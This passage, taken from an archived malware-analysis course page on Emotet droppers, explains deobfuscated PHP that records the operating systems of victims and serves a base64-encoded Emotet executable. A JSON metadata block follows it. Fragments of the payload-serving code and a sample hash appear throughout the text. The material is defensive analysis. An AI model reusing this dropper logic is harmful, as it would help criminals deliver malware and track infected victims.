saved in the array type. The fread function\r\nrequires the file and the length that should be read. It is a binary-safe file read. The decoded result is saved in the\r\npreviously instantiated array $sp7c7c2a, which can be renamed into $decodedSha1File.\r\nThe next part of the function is given below.\r\n$sp6345e2 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';\r\n$spda961f = $this-\u003egetOperatingSystem($sp6345e2);\r\nif ($spda961f \u003e 0) {\r\nif (!isset($decodedSha1File[$spda961f]) || !is_int($decodedSha1File[$spda961f])) {\r\n$decodedSha1File[$spda961f] = 0;\r\n}\r\n$decodedSha1File[$spda961f]++;\r\n}\r\nUsing the isset function, the HTTP_USER_AGENT is obtained. If it is not available, the returned value is an\r\nempty string. Hence, the variable $sp6345e2 can be renamed to $userAgent.\r\nThe variable $spda961f contains the return value of the getOperatingSystem function. A suitable name for this\r\nvariable is $operatingSystem.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 16 of 19\n\nIf the operating system (which is represented as a number based of the index in the $regex_ variable) within the\r\nJSON file does not exist or isn’t an integer, the value is set to zero. The value of the operating system within the\r\nJSON file is then incremented with one. An example of the content of the JSON is file is given below.\r\n{\"5\":18}\r\nThe key equals 5 whilst the value equals 18. The operating system type that corresponds with the key is the fifth\r\none in the $regex_: any character but a newline. The $sha1HashFile is used to keep track of the amount of\r\ndownloads and the operating system which requested the download.\r\nThe file lock is used to make sure that all requests are logged, as a race condition is mitigated due to the lock. The\r\nmaximum execution time is set to an unlimited amount of time, meaning sometimes the macro which requests the\r\npayload, has to wait a bit before the file is served.\r\nAdditionally, it provides statistics for the criminal actor through which both the usage and the operating systems of\r\nthe victims can be seen. Weird statistics might cause the actor to take the site offline to mitigate the efforts of\r\nmalware analysts.\r\nThe file handling part of the function is given below.\r\nfseek($sha1HashFile, 0);\r\nfwrite($sha1HashFile, json_encode($decodedSha1File));\r\nfflush($sha1HashFile);\r\nflock($sha1HashFile, LOCK_UN);\r\n}\r\nfclose($sha1HashFile);\r\n}\r\nThe file pointer is set to index 0 with fseek, after which fwrite is called to write the string to the file. The function\r\nfflush flushes the output to a file. Lastly, the file is unlocked using flock (note the LOCK_UN argument to unlock\r\nthe file). The file handle is then closed using fclose.\r\nThe $sha1HashFile is used to keep track of statistics. Below, the code is rewritten in pseudo code for a better\r\nunderstanding.\r\nstatistics = openFile(sha1hash(currentDirectory()), EXCLUSIVE_LOCK);\r\noperatingSystem = getOperatingSystem(userAgent);\r\nif(!statistics.contains(operatingSystem)) {\r\n statistics.add(operatingSystem, 0);\r\n}\r\nstatistics.increment(operatingSystem);\r\nstatistics.writeToFile();\r\ncloseFile(statistics, UNLOCK);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 17 of 19\n\nThe return value of the function is given below.\r\nheader('Content-Type: ' . $this-\u003econtentType_);\r\nheader('Content-Disposition: attachment;\r\nfilename=\"' . $this-\u003econtentName_ . '\"');\r\nheader('Content-Transfer-Encoding: binary');\r\nreturn base64_decode($this-\u003econtent_);\r\nThe header is set to contain the content type, which is defined within the class, as well as the content disposition,\r\nwhich presumably is an attachment. The content encoding is binary. The content header of the file is base64\r\ndecoded using base64_decode, which is the file that gets executed by the malicious macro.\r\nDuring the analysis, the next stage (the file that is downloaded on the victim’s machine) is one that is preferably\r\nsaved separately. This can be done by replacing the return value in the code by the two lines below.\r\nfile_put_contents(\"/home/libra/Desktop/emotet/stage5.exe\", base64_decode($this-\u003econtent_));\r\nreturn \"\";\r\nFinally, the class can be renamed, as is shown below.\r\n$downloadClass = new DownloadClass();\r\necho $downloadClass-\u003eexecute();\r\nStage 5 – The binary\r\nThe binary that is downloaded from the site is an executable which is detected as Emotet, as can be seen here. The\r\nSHA-256 hash of the file is given below.\r\n82fa35d4f8552c453b7ae2603738478cc22a266e687e481d02473ace810c7e1a\r\nConclusion\r\nThe obfuscation techniques within the macro were designed to avoid any form of string detection mechanisms.\r\nDue to the possible random layout, it is harder to write rules for the documents.\r\nThe PHP files that are on the server, also serve a similar purpose. By obfuscating the PHP code and executing the\r\nsecond PHP stage dynamically, it is harder for server owners to detect a malicious file in a customer’s web\r\nhosting. This way, the malicious websites try to remain online for a longer period of time. Signature detection is\r\nalso easily evaded since the file can easily be obfuscated differently every so often.\r\nAll in all, it shows how much effort is put in to deliver an executable on the target, which then servers as yet\r\nanother downloader for another stage within the infection process.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 18 of 19\n\nTo contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.\r\nSource: https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/\r\nPage 19 of 19\n\nhAanT8Em2 Dim HMkjb = Sgn(58540.935390342) As Long   \nHMkjb = (3330 / 370) + (6)  \n   Page 2 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/"
	],
	"report_names": [
		"emotet-droppers"
	],
	"threat_actors": [],
	"ts_created_at": 1775434926,
	"ts_updated_at": 1775826764,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c870fbad5ef73ada73729daab1f67915ac19da3d.pdf",
		"text": "https://archive.orkl.eu/c870fbad5ef73ada73729daab1f67915ac19da3d.txt",
		"img": "https://archive.orkl.eu/c870fbad5ef73ada73729daab1f67915ac19da3d.jpg"
	}
}